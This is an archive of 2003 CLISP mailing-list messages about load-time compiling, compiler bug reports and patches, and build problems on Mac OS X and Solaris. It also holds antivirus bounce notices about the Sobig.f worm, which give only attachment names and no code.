> 1. Would people object if -C (*load-compiling*) were set (to true)
>    by default?

- You'd have to keep the -C option for compatibility with existing script=
s.

- You'd have to add a new option to prevent compiling at load time.

- People would have to remember to  use this new option to get useful
  debugging information.

- People would have  to remember removing it once  they put their code
  in production.

I don't see the advantage to have it the other way, once a choice have
been made to have it this way.  I would prefer not change it.


> 2. What about the default value of *print-pretty*?

I've got *print-pretty* set to T  and this does not bother me.  What's
the problem?
=20

> Ad 1 pros and cons:
> + benchmarks =E0 la "time clisp hanoi.cl" would yield much much
>   improved times (should beat Python any time).
> + other implementations (MCL?) only have a compiler anyway
>   and use a read-compile-funcall-print loop.
> + novices may benefit from "unused variable/undeclared variable" warnin=
gs
> - novices may be confused by such warnings
> - step is much less useful with compiled functions
>=20
>=20
> Ad 2

> *print-pretty* had been set to false for many years. It was only not
> *too long ago that the decision was made, IIRC based on "todays
> *machines are fast enough" reasoning, to set it to true in the
> *default configuration.
>=20
> I'm unsure whether Proctor's program would have been or was much
> affected by the value of *print-pretty* in CLISP (it made a lot of a
> difference with CMUCL).
>=20
> What do CLISP users think?
>=20
> Regards,
> 	J=F6rg H=F6hle

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You have sent a virus infected mail    Sie haben eine Virus-infizierte Mail
which was quaratined to protect        versendet, die in Quarataene genommen
the recipient.                         wurde, um den Empfaenger zu schuetzen.

More information about the virus       Mehr Informationen zum Virus unter
at http://www.sophos.com               http://www.sophos.de

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--- Problem report                     --- Problem Bericht

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Subject: Re: Wicked screensaver
Scanning part []

Scanning part [document_all.pif]
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Blockmaker Error
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Serious: Trying with Fasta format.

Only 0 sequence found, need at least 3
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Bonjour,

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Samuel Fierz


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I am getting a lot of virus infected stuff on clisp-list.

Cheers


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> See the attached file for details
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Hi,
I am planning to use CLISP on Mac OS 10. I understand that CLISP
supports Macs. But I am not sure if sockets and multi threading is
supported by CLISP on Macs.
Can anyone guide me on this please !!

Also from the documents I looked at, looks like CLISP supports sockets
on Unix and Win32 only. Is this correct ? How abt Macs ?

Does CLISP support multi threading on UNIX and Windows ? 
Thanks for the help
Amit



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Moin Samuel Fierz,
Moin Marco Antoniotti,

> Merci pour votre message. 
> J'y répondrai dès mon retour, le 25 août.
> I am getting a lot of virus infected stuff on clisp-list.

  it also looks, as if the spam program include people with prominent eMails
  as From: (e.g. me) - I'm not using Outlook (would be insane to do under
  Linux ;) - I had about 359 megabyte bounces from this virus and several
  people went offline during the last days because of viruses that cant
  be delivered, and bounced back to the faked From: address.

  My analysis so far showed that those can be traced back to a system
  at biotech.kth.se and moved recently ( Wed Aug 20 18:31:42 UTC 2003 )
  to hsc.usc.edu : 128.125.99.248 a system without reverse DNS who is
  running the SPAM.

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> * In message <C41AD20C-D318-11D7-A2D6-000393A70920@cs.nyu.edu>
> * On the subject of "Please make sure your machine is virus clean!"
> * Sent on Wed, 20 Aug 2003 10:15:35 -0400
> * Honorable Marco Antoniotti <marcoxa@cs.nyu.edu> writes:
>
> I am getting a lot of virus infected stuff on clisp-list.

you cannot get any viruses from clisp-list because I do not let any
attachments in.
what you have been getting is notifications that someone was forging
clisp-list as the sender of viruses.

It should be somewhat better now - I tighten the filtering a little bit.


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X-Original-Date: Wed, 20 Aug 2003 14:44:04 -0400

Well

thanks.  That somewhat helps.

Cheers


On Wednesday, Aug 20, 2003, at 14:35 America/New_York, Michael Koehne=20
wrote:

> Moin Samuel Fierz,
> Moin Marco Antoniotti,
>
>> Merci pour votre message.
>> J'y r=E9pondrai d=E8s mon retour, le 25 ao=FBt.
>> I am getting a lot of virus infected stuff on clisp-list.
>
>   it also looks, as if the spam program include people with prominent=20=

> eMails
>   as From: (e.g. me) - I'm not using Outlook (would be insane to do=20
> under
>   Linux ;) - I had about 359 megabyte bounces from this virus and=20
> several
>   people went offline during the last days because of viruses that =
cant
>   be delivered, and bounced back to the faked From: address.
>
>   My analysis so far showed that those can be traced back to a system
>   at biotech.kth.se and moved recently ( Wed Aug 20 18:31:42 UTC 2003 =
)
>   to hsc.usc.edu : 128.125.99.248 a system without reverse DNS who is
>   running the SPAM.
>
> Bye Michael
> --=20
>   mailto:kraehe@copyleft.de             UNA:+.?=20
> 'CED+2+:::Linux:2.4.18'UNZ+1'
>   http://www.xml-edifact.org/           CETERUM CENSEO WINDOWS ESSE=20
> DELENDAM
>
--
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> * In message <200308201858.h7KIw8a7004743@ghost.CS.ORST.EDU>
> * On the subject of "CLIP , Mac  and sockets"
> * Sent on Wed, 20 Aug 2003 11:58:08 -0700 (PDT)
> * Honorable amit phalgune <phalgune@cs.orst.edu> writes:
>
> Also from the documents I looked at, looks like CLISP supports sockets
> on Unix and Win32 only. Is this correct ? How abt Macs ?

mac os x is a unix, so sockets are fully supported.

> Does CLISP support multi threading on UNIX and Windows ? 

not yet.
would you like to work in it?

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The following code works fine interpreted or compiled,
however, "clisp -C test1" barfs with:
*** - FUNCALL: #.#'EQUAL is not a function name

test1.lisp:

(defvar *a* (list (list #'equal 2 2) (list #'equal 2 3)))

(dolist (a *a*)
         (funcall (car a) (cadr a) (caddr a)))




This was with a CLisp that I built from CVS head a few days ago on 
Jaguar.

When I add these two lines to the top of test1.lisp:
(defun m (a b)
     (equal a b))

and change both #'equal to #'m it runs fine.

make check worked fine after my build. Am I just confused about equal's 
function-ability?

<D\'gou



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> * In message <2CC27852-D34B-11D7-B94C-000393030214@mac.com>
> * On the subject of "Bug in me or CLisp?"
> * Sent on Wed, 20 Aug 2003 16:16:25 -0400
> * Honorable Douglas Philips <dgou@mac.com> writes:
>
> The following code works fine interpreted or compiled,
> however, "clisp -C test1" barfs with:
> *** - FUNCALL: #.#'EQUAL is not a function name

thanks for the bug report (I introduced it when I made -C report errors
like -c does).
I just fixed it in the CVS.
please try again (note that the changes propagate to the anoncvs with a
24 hour delay, so I append the patch.)

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Index: compiler.lisp
===================================================================
RCS file: /cvsroot/clisp/clisp/src/compiler.lisp,v
retrieving revision 1.132
diff -u -w -b -u -b -w -i -B -r1.132 compiler.lisp
--- compiler.lisp	14 Aug 2003 18:04:57 -0000	1.132
+++ compiler.lisp	20 Aug 2003 22:53:46 -0000
@@ -9689,7 +9689,7 @@
         (let ((l (append
                    (make-list (fnode-Keyword-Offset fnode))
                    (fnode-keywords fnode)
-                   (if *compiling-from-file*
+                   (if *fasoutput-stream*
                      (mapcar #'(lambda (value form)
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>   Linux ;) - I had about 359 megabyte bounces from this virus and several
>   people went offline during the last days because of viruses that cant
>   be delivered, and bounced back to the faked From: address.

Given that such viruses spoof From: fields, automatic virus notifications
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> thanks for the bug report (I introduced it when I made -C report errors
> like -c does).
> I just fixed it in the CVS.
> please try again (note that the changes propagate to the anoncvs with a
> 24 hour delay, so I append the patch.)

Got that patch (boy the sourceforge mail forwarding service is SLOW).
Updated my CVS head this afternoon.
Now I have a different problem!

(BTW: How do I add/write a test case so that the bug above will be 
caught if ever accidently reintroduced?)

Ok, the new bug: test2.lisp:
(defun xyzzy ((self notype) x y)
    ; ...
   (cons x y))


Not compiled:
clisp test2

*** - SYSTEM::C-ERROR: symbol SYSTEM::*ERROR-COUNT* has no value


But, with clisp -C test2

ERROR in #:COMPILED-FORM-34 :
Illegal lambda list element (SELF NOTYPE)
ERROR in #:COMPILED-FORM-34 :
Illegal lambda list element (SELF NOTYPE)
ERROR in XYZZY :
Illegal lambda list element (SELF NOTYPE)
There were errors in the following functions:
  #:COMPILED-FORM-34 XYZZY



Ah, i don't think '-C' is ready for prime-time as the default just yet. 
;-)

<D\'gou



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Hello,

You sent me an email and it bounced. That's because I'm on leave from Salon
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But if you have urgent matters to communicate to Salon's Arts & Entertainment
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From the search I have done on the internet , I have got conflicting comments 
about  CLISP working on Mac 10. Can anyone confirm that the latest release of 
CLSIP works on Mac
Also where can I get the latest release installset for CLSIP. Is 2.30 the latest 
release ( released in Nov 2002 ) ?? 
Thanks
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 > you cannot get any viruses from clisp-list because I do not let any
 > attachments in.

This is true.

 > what you have been getting is notifications that someone was forging
 > clisp-list as the sender of viruses.

No, I am getting Emails containing the actual virus w/ the From:
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Inst. of Technology).  It's annoying because it slips through my
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clisp-list regardless of content.  Just in case there is a ever a
Viagra discussion on clisp-list I won't miss it :)

 > It should be somewhat better now - I tighten the filtering a little bit.

Thanks




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[22]> (documentation (find-package :package) t)
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I am trying to install clisp-2.29 on our sparc system. However, lisp.run
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Also the CLISP site mentions about the Fink for Macs. Is this some kind
of interface between Mac and CLISP throughsome Unix systems ?

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What version of Solaris are you running and on what platform? This is a =
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explicitly remove it for it to be missing.=20

Thanks,

Jack Williams

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SAMUEL L. GULDEN writes:
> I am trying to install clisp-2.29 on our sparc system. However, lisp.ru=
n
> seems to want a file or directory /usr/lib/ld.so.1 which is not
> available. Where can I find it?

I don't know on sparc, but last time I missed a ld.so on linux, I just
had to make this symlink to solve the problem:

% ls -l /lib/ld.so
lrwxrwxrwx  1 root  root   13 2003-07-28 19:40 /lib/ld.so -> ld-linux.so.=
2

So, if you find a ld*.so.* somewhere for sparc, you may try the same tric=
k.

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    Hello,

    Has someone binaries for a machine like this:

SunOS ap 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-4

    that includes the clisp-oracle module ?

    When I try to compile, I have a core dump:



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 > Has someone binaries for a machine like this:
 > SunOS ap 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-4
 > that includes the clisp-oracle module ?

I'm not aware anyone has compiled --with-module=oracle under Sun, but
there's no reason why it should not work.  I developed the module
under Debian Linux and Oracle 8.1.7.  (You need at least 8.0.5 to use
the module).

 >     When I try to compile, I have a core dump:

Do you mean (a) you get a core dump during the compilation, or (b) a
core dump when you are running CLISP compiled from source?  I'm
guessing (b).

What version of CLISP are you compiling?  Early versions of the Oracle
module had bugs, and also relied on parts of the CLISP FFI interface
that had bugs.  But these have since been fixed.

If you've got the lastest CVS snapshot, it really should work.  If
not, consider using using the CVS snapshot as your source base.  In
any case I would be happy to help you make it work.

If you want to use a stable CLISP codebase (e.g. 2.30) it may work to
just drop in the latest source for the Oracle module -- I can email
you a tarball -- and recompile.

---
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Paolo Amoroso writes:
> Michael Koehne <kraehe@copyleft.de> writes:
>=20
> >   Linux ;) - I had about 359 megabyte bounces from this virus and sev=
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> >   people went offline during the last days because of viruses that ca=
nt
> >   be delivered, and bounced back to the faked From: address.
>=20
> Given that such viruses spoof From: fields, automatic virus notificatio=
ns
> from are becoming equally obnoxious and useless.

It's  been  so  for  a  long  time.  That's  why  I  disabled  issuing
notification outside of our organization.

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% cat test3.lisp
(defclass t1 () ( (foo :accessor foo :initform :foo)))

(defun test-me ()
         (let ((a (make-instance 't1)))
                 (if (typep a 't1)
                         (format t "worked~%")
                         (format t "failed!~%"))))

(test-me)

% clisp test3
worked
% clisp -C test3
failed!

Man, I just hate chasing these kinds of bugs. No more -C for me for a 
while.

<D\'gou



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> * In message <6E3D596F-D4B5-11D7-AEAF-000393030214@mac.com>
> * On the subject of "CLisp or Me, take three?"
> * Sent on Fri, 22 Aug 2003 11:29:33 -0400
> * Honorable Douglas Philips <dgou@mac.com> writes:
>
> % cat test3.lisp
> (defclass t1 () ( (foo :accessor foo :initform :foo)))
> 
> (defun test-me ()
>          (let ((a (make-instance 't1)))
>                  (if (typep a 't1)
>                          (format t "worked~%")
>                          (format t "failed!~%"))))
> 
> (test-me)
> 
> % clisp test3
> worked
> % clisp -C test3
> failed!

thank you very much for your rigorous testing and concise test cases.
please try the appended patch.

> Man, I just hate chasing these kinds of bugs. No more -C for me for a
> while.

this just means that the bugs will be discovered later (if ever) and
you will have to deal with them in a release.

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Index: compiler.lisp
===================================================================
RCS file: /cvsroot/clisp/clisp/src/compiler.lisp,v
retrieving revision 1.133
diff -u -w -b -u -b -w -i -B -r1.133 compiler.lisp
--- compiler.lisp	20 Aug 2003 22:56:59 -0000	1.133
+++ compiler.lisp	22 Aug 2003 20:27:01 -0000
@@ -4250,7 +4250,7 @@
      :sub-anodes '()
      :seclass '(NIL . NIL)
      :code (if *for-value*
-               `((CONST ,(if *compiling-from-file*
+               `((CONST ,(if *fasoutput-stream*
                            (if (and (symbolp form) (c-constantp form))
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> * In message <20030820165256.7F549B660B@thalassa.informatimago.com>
> * On the subject of "[conformity bug] documentation of package"
> * Sent on Wed, 20 Aug 2003 18:52:56 +0200 (CEST)
> * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
>
> [22]> (documentation (find-package :package) t)
> *** - DOCUMENTATION: first argument #<PACKAGE COM.INFORMATIMAGO.COMMON-LISP.PACKAGE> is illegal, not a symbol
>  
> 
> However, 
> http://www.lisp.org/HyperSpec/Body/stagenfun_doc_umentationcp.html#documentation
> indicates for packages:
> 
>     Packages:
> 
>     documentation (x package) (doc-type (eql 't))
> 
>     (setf documentation) new-value (x package) (doc-type (eql 't))

fixed in the CVS

PS.  please do not cross-post to both clisp-list and clisp-devel.
think hard who your audience are and address correctly.  thanks.

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amit phalgune writes:
> Also the CLISP site mentions about the Fink for Macs. Is this some kind
> of interface between Mac and CLISP throughsome Unix systems ?
>=20
> Please help !!
> Amit

fink is a  MacOSX tool that you can use to  download and install linux
programs ported to MacOSX. clisp-2.29 is available with fink, but I've
not been able to compile it so far.

The last  hint I have is that  gcc version 3.1 won't  compile clisp on
MacOSX, and  you need either  to switch to  gcc 2.95 or to  upgrade to
gcc 3.3.  I'm in the process of doing that.

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ERROR:
    There is no such list MOVIE here.

SOLUTION:
    Send a message to minimalist@project.exolab.org with a subject
    of 'info' (no quotes) for a list of available mailing lists.

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> * In message <7701C028-D42D-11D7-AEAF-000393030214@mac.com>
> * On the subject of "Re: Re: Bug in me or CLisp?"
> * Sent on Thu, 21 Aug 2003 19:16:16 -0400
> * Honorable Douglas Philips <dgou@mac.com> writes:
>
> Ok, the new bug: test2.lisp:
> (defun xyzzy ((self notype) x y)
>     ; ...
>    (cons x y))
> 
> 
> Not compiled:
> clisp test2
> 
> *** - SYSTEM::C-ERROR: symbol SYSTEM::*ERROR-COUNT* has no value

I introduced this bug when I made DEFUN call LAMBDA-LIST-TO-SIGNATURE at
macroexpansion time.  This saves LIB file size (10%) and thus REQUIRE
load time.

The appended patch should restore the correct error message.

OTOH, I am no longer sure that the 10% saving in LIB file size was
worth the effort.
(a bigger saving might come from putting an IN-PACKAGE statement in all
FAS and LIB files and not using full package prefixes...)

Bruno?

> But, with clisp -C test2
> 
> ERROR in #:COMPILED-FORM-34 :
> Illegal lambda list element (SELF NOTYPE)
> ERROR in #:COMPILED-FORM-34 :
> Illegal lambda list element (SELF NOTYPE)
> ERROR in XYZZY :
> Illegal lambda list element (SELF NOTYPE)
> There were errors in the following functions:
>   #:COMPILED-FORM-34 XYZZY

this is just fine: the error message is quite clear, if many a little
bit redundant.

-- 
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Index: init.lisp
===================================================================
RCS file: /cvsroot/clisp/clisp/src/init.lisp,v
retrieving revision 1.104
diff -u -w -b -u -b -w -i -B -r1.104 init.lisp
--- init.lisp	12 Aug 2003 22:20:48 -0000	1.104
+++ init.lisp	22 Aug 2003 19:21:42 -0000
@@ -1622,6 +1622,8 @@
                                 ,@body-rest))))
             `(LET ()
                (SYSTEM::REMOVE-OLD-DEFINITIONS ,symbolform)
+               (SYSTEM::%PUTD ,symbolform
+                              (FUNCTION ,name (LAMBDA ,@lambdabody)))
                ,@(if ; Is name declared inline?
                   (if (and compiler::*compiling*
                            compiler::*compiling-from-file*)
@@ -1665,8 +1667,6 @@
                    `((SYSTEM::%SET-DOCUMENTATION ,symbolform
                                                  'FUNCTION ',docstring))
                    '())
-               (SYSTEM::%PUTD ,symbolform
-                              (FUNCTION ,name (LAMBDA ,@lambdabody)))
                (EVAL-WHEN (EVAL)
                  (SYSTEM::%PUT ,symbolform 'SYSTEM::DEFINITION
                                (CONS ',form (THE-ENVIRONMENT))))



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Clisp is beautiful, so thank you to all those who are
creating it.  

This may be a common, grandiose or unrelated question,
but what about continuations like scheme?  I
understand that this is one of the differences between
these dialects.  Is there an accepted common lisp hack
for a “call-with-current-continuation” procedure that
does not over complicate its usefulness?  Are there
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"John K. Hinsdale" <hin@alma.com> writes:

    Hi John,

> I'm not aware anyone has compiled --with-module=oracle under Sun, but
> there's no reason why it should not work.  I developed the module
> under Debian Linux and Oracle 8.1.7.  (You need at least 8.0.5 to use
> the module).

    Yes, I use Oracle 8.1.7.

>  >     When I try to compile, I have a core dump:
>
> Do you mean (a) you get a core dump during the compilation, or (b) a
> core dump when you are running CLISP compiled from source?  I'm
> guessing (b).

    Actually, I have the core dump in the "configure" phase. Hey, I
haven't noticed that my article has been truncated after "I have a
core dump"! (why? dot in 1st column?) , so this is the rest:

  .
  .
  .
ln -s ../src/dutch.lisp dutch.lisp
ln -s ../src/deprecated.lisp deprecated.lisp
cp -p ../src/cfgsunux.lisp config.lisp
chmod +w config.lisp
echo '(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")' 
                      >> config.lisp
./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x 
                   "(load \"init.lisp\") (sys::%saveinitmem) (exit)"
Segmentation Fault - core dumped
make: *** [interpreted.mem] Error 139

    I used the following command:

./configure --with-dynamic-ffi --with-dynamic-modules 
  --with-export-syscalls --with-module=wildcard --with-module=regexp 
  --with-module=oracle --build oralisp

> What version of CLISP are you compiling?  Early versions of the Oracle
> module had bugs, and also relied on parts of the CLISP FFI interface
> that had bugs.  But these have since been fixed.

    The official 2.30 (which has already your module). I have tried
without your module and have the same outcome, dying when trying to
write the image. Actually, just running "./lisp.run" core dumps.

> If you've got the lastest CVS snapshot, it really should work.  If
> not, consider using using the CVS snapshot as your source base. 

    OK, I'll give it a shot, but I guess 2.30 should compile OK, I'll
check what gone wrong. I think I don't have any of the "recommended" 4
libraries so I'll install them and see what happens.

> In any case I would be happy to help you make it work.

    Thanks already for the module!

> If you want to use a stable CLISP codebase (e.g. 2.30) it may work to
> just drop in the latest source for the Oracle module -- I can email
> you a tarball -- and recompile.

    That's what I'm currently using.

    Georges
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> Clisp is beautiful, so thank you to all those who are
> creating it.

Hear Hear!


> This may be a common, grandiose or unrelated question,
> but what about continuations like scheme?  I
> understand that this is one of the differences between
> these dialects.  Is there an accepted common lisp hack
> for a =93call-with-current-continuation=94 procedure that
> does not over complicate its usefulness?  Are there
> any papers on this topic?

As to complications, over or under or useful or not, that may be more=20
in the eye of the beholder.

An excellent source of macro knowledge, and of one particular way of=20
doing continuations in ACL can be found in Paul Graham's book: On Lisp.=20=

Its out of print, but available on his website:=20
http://www.paulgraham.com/

Don't mind the opening page graphic, its in tune with his=20
anti-email-spam attitude and articles. Click on the 'books' tab on the=20=

left and you'll get to info on both his books, including (eventually)=20
links to download On Lisp as either postscript (compressed and not) or=20=

PDF.

Enjoy!

<D\'gou



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On Friday, Aug 22, 2003, at 16:39 US/Eastern, Sam Steingold wrote:

> thank you very much for your rigorous testing and concise test cases.
> please try the appended patch.

The cvs HEAD that I checked out this AM seems to have that patch!
It looks as if it solves test1, test2 and test3 issues.
Thanks for such fast turn around!

>> Man, I just hate chasing these kinds of bugs. No more -C for me for a
>> while.
>
> this just means that the bugs will be discovered later (if ever) and
> you will have to deal with them in a release.

I really hope that the two branch source will make that a lot less 
painful if/when it happens.

Sorry for being so terse/harsh. So far the test cases have been 
somewhat easy to identify. I went looking at compiler.lisp and am 
puzzled by the dichotomy of tests, and when testing *fasoutput-stream* 
is done and when testing *compiling-from-file* (and what about plain 
ol' *compiling* ??)

I'll keep playing with -C, but only after I believe the code works 
interpreted and as compiled as a file. ;-)

<D\'gou



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Hi ,
I am getting the following error .
Does anyone have an idea what this error is. and How I can solve it.


*** - DEFGENERIC DESTROY: The only valid method combination is STANDARD :
(:METHOD-COMBINATION PROGN)

Thanks
Amit




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Date: Sat Aug 23 18:57:03 2003
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> * In message <Pine.GSO.4.53.0308231452240.18931@jasper01.CS.ORST.EDU>
> * On the subject of "NewBie Problem"
> * Sent on Sat, 23 Aug 2003 14:53:33 -0700 (PDT)
> * Honorable amit phalgune <phalgune@cs.orst.edu> writes:
>
> I am getting the following error .
> Does anyone have an idea what this error is. and How I can solve it.
>
> *** - DEFGENERIC DESTROY: The only valid method combination is STANDARD :
> (:METHOD-COMBINATION PROGN)

<http://clisp.cons.org/impnotes.html#objects>:
"Only the STANDARD method combination is implemented."

patches are welcome

--
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Antigen for Exchange found movie0045.pif infected with VIRUS= W32/Sobig.f@MM
(NAI,Norman) worm.
The message is currently Purged.  The message, "Re: Re: My details", was
sent from clisp-list@sf.net and was discovered in IMC Queues\Inbound
located at Netcom Systems/NETCOMSYSTEMS/EXCH-CONNECTOR.


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Antigen for Exchange found wicked_scr.scr infected with VIRUS=
W32/Sobig.f@MM (NAI,Norman) worm.
The message is currently Purged.  The message, "Re: That movie", was
sent from clisp-list@sf.net and was discovered in IMC Queues\Inbound
located at Netcom Systems/NETCOMSYSTEMS/EXCH-CONNECTOR.


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Antigen for Exchange found your_details.pif infected with VIRUS=
W32/Sobig.f@MM (NAI,Norman) worm.
The message is currently Purged.  The message, "Your details", was
sent from clisp-list@sf.net and was discovered in IMC Queues\Inbound
located at Netcom Systems/NETCOMSYSTEMS/EXCH-CONNECTOR.


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as one data-point i have now happened to get clisp to compile.

i enclose a transcript below, in case it might help someone else sort  
this out.

note that
- the 08-25 snapshot made a difference here. previous attempts with the  
08-17 snapshot did not succeed,
- ./configure without '--without-dynamic-ffi' left the build directory  
in a state where a subsequent ./configure failed whether the ffi was  
enabled or not.

osx : 10.2.6
apple devtools: Dec2002DevToolsCD.dmg.bin + Dec2002gccUpdater.dmg.bin
clisp :  
http://cvs2.cons.org/ftp-area/clisp/snapshots/clisp-2003-08-25.tgz

[[[ edit of withDec2002gcc/Makefile

#CFLAGS =  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit  
-Wreturn-type  -fomit-fra\
me-pointer -Wno-sign-compare -O2 -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV
CFLAGS =  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit  
-Wreturn-type  -fomit-fram\
e-pointer -Wno-sign-compare -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV

]]]

[localhost:Source/clisp/clisp-2003-08-25]
janson% gcc_select
Current default compiler:
gcc version 3.3 20030304 (Apple Computer, Inc. build 1435)
[localhost:Source/clisp/clisp-2003-08-25]
janson% mkdir withDec2002gcc
[localhost:Source/clisp/clisp-2003-08-25]
janson% printenv
HOME=/Users/janson
SHELL=/bin/tcsh
USER=janson
PATH=/sw/bin:/sw/sbin:/bin:/sbin:/usr/bin:/usr/sbin:/usr/X11R6/bin
__CF_USER_TEXT_ENCODING=0x1F5:0:0
TERM=vt100
TERMCAP=\277\377\330
TERM_PROGRAM=Apple_Terminal
TERM_PROGRAM_VERSION=81
LOGNAME=janson
HOSTTYPE=macintosh
VENDOR=apple
OSTYPE=darwin
MACHTYPE=powerpc
SHLVL=1
PWD=/Development/Source/clisp/clisp-2003-08-25
GROUP=staff
HOST=localhost
MANPATH=/sw/share/man:/sw/man:/usr/local/share/man:/usr/local/man:/usr/ 
share/man:/usr/X11R6/man
INFOPATH=/sw/share/info:/sw/info:/usr/local/share/info:/usr/local/lib/ 
info:/usr/local/info:/usr/share/info
PERL5LIB=/sw/lib/perl5
CVSROOT=/Volumes/raidin.tschichold/SourceRepository
CONFIG_SHELL=/bin/bash
[localhost:Source/clisp/clisp-2003-08-25]
  janson% limit stacksize 8192
[localhost:Source/clisp/clisp-2003-08-25]
janson% ls
ANNOUNCE        acorn           doc             os2              
win32msvc
COPYRIGHT       amiga           emacs           src              
withDec2002gcc
GNU-GPL         benchmarks      ffcall          tests
INSTALL         clisp.lsm       libcharset      unix
Makefile.devel  clisp.spec      modules         utils
SUMMARY         configure       nextapp         win32bc
[localhost:Source/clisp/clisp-2003-08-25]
janson% ./configure --without-dynamic-ffi  withDec2002gcc
executing  
/Development/Source/clisp/clisp-2003-08-25/withDec2002gcc/configure --

...

config.status: creating config.h

To continue building CLISP, the following commands are recommended
   (cf. unix/INSTALL step 4):
     cd withDec2002gcc
     ./makemake    > Makefile
     make config.lisp
     vi config.lisp
     make
     make check
[localhost:Source/clisp/clisp-2003-08-25]
janson%

which instructions were then adequate to build an image.

a note to the script and documentation authors:
the passage in unix/PLATFORMS on osx could be clearer

        FFI does not work yet, you will have to ignore the "avcall-*.h"  
errors in ./configure.

could say to use the '--without-dynamic-ffi' option with ./configure. i  
was getting errors trying to compile a ".d" file for the rs6000, the  
insignificance of which is not clearly implied by the above passage.

      Dec2002 Developer tools with the gcc 3.3 update work OOTB, but
      older versions of GCC might require the `--traditional-cpp' option.
      If you get weird compilation errors (like #else mismatch), try it.

i appears as though the '--traditional-cpp' was not longer available as  
of the 08-17 snapshot, yet the preprocessor errors persisted even with  
Dec2002gccUpdater.dmg.bin installed. the 08-25 snapshot made a  
difference.

...



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 > Does anyone know how to get the current directory using clisp.
 > 
 > There is a current-directory function in Allegro CL. Does CLISP have a
 > similar function.

Check the TOC of implementation notes at:

   http://clisp.sourceforge.net/impnotes/

There is a link from there to Chapter 20, "Files"

   http://clisp.sourceforge.net/impnotes/files.html

In section 20.1.1 "Function DIRECTORY" is described a function EXT:CD
which will return the current directory, or, with an argument will set
it.

Many, many other questions can be answered by scanning these
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> I am getting a lot of virus infected stuff on clisp-list.

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 Hi ,
 There is an error I am facing.  I
 have digged into the error and looks like CLISP does not support any
other
 method-combination other than STANDARD.

 Now our code  uses a defgeneric with the
method-combination as "progn".( which looks like a customized
 method-combination for defgeneric.

 (defgeneric destroy (a) (:method-combination progn))
I am new to LISP and so I am not sure what exactly is defgeneric used
for. Also CLISP supports only STANDARD method-combination. Is progn used
above a customized method combination. How can I get a work around so that
the above code works fine in CLISP.

 Thanks in advance,
 Amit



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amit phalgune wrote:
>  Hi ,
>  There is an error I am facing.  I
>  have digged into the error and looks like CLISP does not support any
> other
>  method-combination other than STANDARD.
> 
>  Now our code  uses a defgeneric with the
> method-combination as "progn".( which looks like a customized
>  method-combination for defgeneric.
> 
>  (defgeneric destroy (a) (:method-combination progn))
> I am new to LISP and so I am not sure what exactly is defgeneric used
> for. Also CLISP supports only STANDARD method-combination. Is progn used
> above a customized method combination. How can I get a work around so that
> the above code works fine in CLISP.
> 
>  Thanks in advance,
>  Amit

The easiest thing, since you probably have full sources, is to go
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"progn", then put a (call-next-method) at the beginning (or is it the
end?) of each defmethod body.

--David)))




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David Morse writes:
> amit phalgune wrote:
> >  Hi ,
> >  There is an error I am facing.  I
> >  have digged into the error and looks like CLISP does not support any
> > other
> >  method-combination other than STANDARD.
> >=20
> >  Now our code  uses a defgeneric with the
> > method-combination as "progn".( which looks like a customized
> >  method-combination for defgeneric.
> >=20
> >  (defgeneric destroy (a) (:method-combination progn))
> > I am new to LISP and so I am not sure what exactly is defgeneric used
> > for. Also CLISP supports only STANDARD method-combination. Is progn u=
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> > above a customized method combination. How can I get a work around so=
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> > the above code works fine in CLISP.
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> >  Thanks in advance,
> >  Amit
>=20
> The easiest thing, since you probably have full sources, is to go
> through all (defmethod destroy progn ((... calls, take out the word
> "progn", then put a (call-next-method) at the beginning (or is it the
> end?) of each defmethod body.

Perhaps it  would be even easier,  since you have the  full sources of
clisp available, to implement the PROGN method-combination in clisp...
(and then contribute it to the maintainers of clisp ;-)

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Hi,

 I replaced "progn" with (call-next-method)

(defgeneric destroy (a :method-combination (call-next-method)))

But I get the following error :

*** - DEFGENERIC DESTROY: variable name (CALL-NEXT-METHOD) should be a
symbol
1. Break [3]>

Please help !!
Amit


On Thu, 28 Aug 2003, David Morse wrote:

> amit phalgune wrote:
> >  Hi ,
> >  There is an error I am facing.  I
> >  have digged into the error and looks like CLISP does not support any
> > other
> >  method-combination other than STANDARD.
> >
> >  Now our code  uses a defgeneric with the
> > method-combination as "progn".( which looks like a customized
> >  method-combination for defgeneric.
> >
> >  (defgeneric destroy (a) (:method-combination progn))
> > I am new to LISP and so I am not sure what exactly is defgeneric used
> > for. Also CLISP supports only STANDARD method-combination. Is progn used
> > above a customized method combination. How can I get a work around so that
> > the above code works fine in CLISP.
> >
> >  Thanks in advance,
> >  Amit
>
> The easiest thing, since you probably have full sources, is to go
> through all (defmethod destroy progn ((... calls, take out the word
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> end?) of each defmethod body.
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Hi David,
Thanks for the reply. Do you mean that I change the progn to
call-next-method.
There is just one defmethod with progn in the source I have.
But I still have a doubt. I have basically not understood what the
defgeneric code is doing.
It all seems to be related to classes and instances and the methods
associated with it..
But I am extremely unclear and confused abt it. I tried to look on the net
for the related documents.. but since I am not aware of OO lisp, or for
that matter even normal LISP ( i have just begun coding in LISP).. I am
not able to understand what that code is supposed to do and why and what
happens if we replace progn with (call-next-method)

I will be extremely grateful if you can kindly explain it to me...

Thanking you,
Amit


On Thu, 28 Aug 2003, David Morse wrote:

> amit phalgune wrote:
> >  Hi ,
> >  There is an error I am facing.  I
> >  have digged into the error and looks like CLISP does not support any
> > other
> >  method-combination other than STANDARD.
> >
> >  Now our code  uses a defgeneric with the
> > method-combination as "progn".( which looks like a customized
> >  method-combination for defgeneric.
> >
> >  (defgeneric destroy (a) (:method-combination progn))
> > I am new to LISP and so I am not sure what exactly is defgeneric used
> > for. Also CLISP supports only STANDARD method-combination. Is progn used
> > above a customized method combination. How can I get a work around so that
> > the above code works fine in CLISP.
> >
> >  Thanks in advance,
> >  Amit
>
> The easiest thing, since you probably have full sources, is to go
> through all (defmethod destroy progn ((... calls, take out the word
> "progn", then put a (call-next-method) at the beginning (or is it the
> end?) of each defmethod body.
>
> --David)))
>
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1. all modules should use clisp.h, not lispbibl.c
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lisp.run depends on modules.o which depends on clisp.h which depends on
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are you saying that you do "make" and rebuild everything and then
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 > are you saying that you do "make" and rebuild everything and then
 > "make" again and _again_ you rebuild everything?!

No, just modules.o and lisp.run.

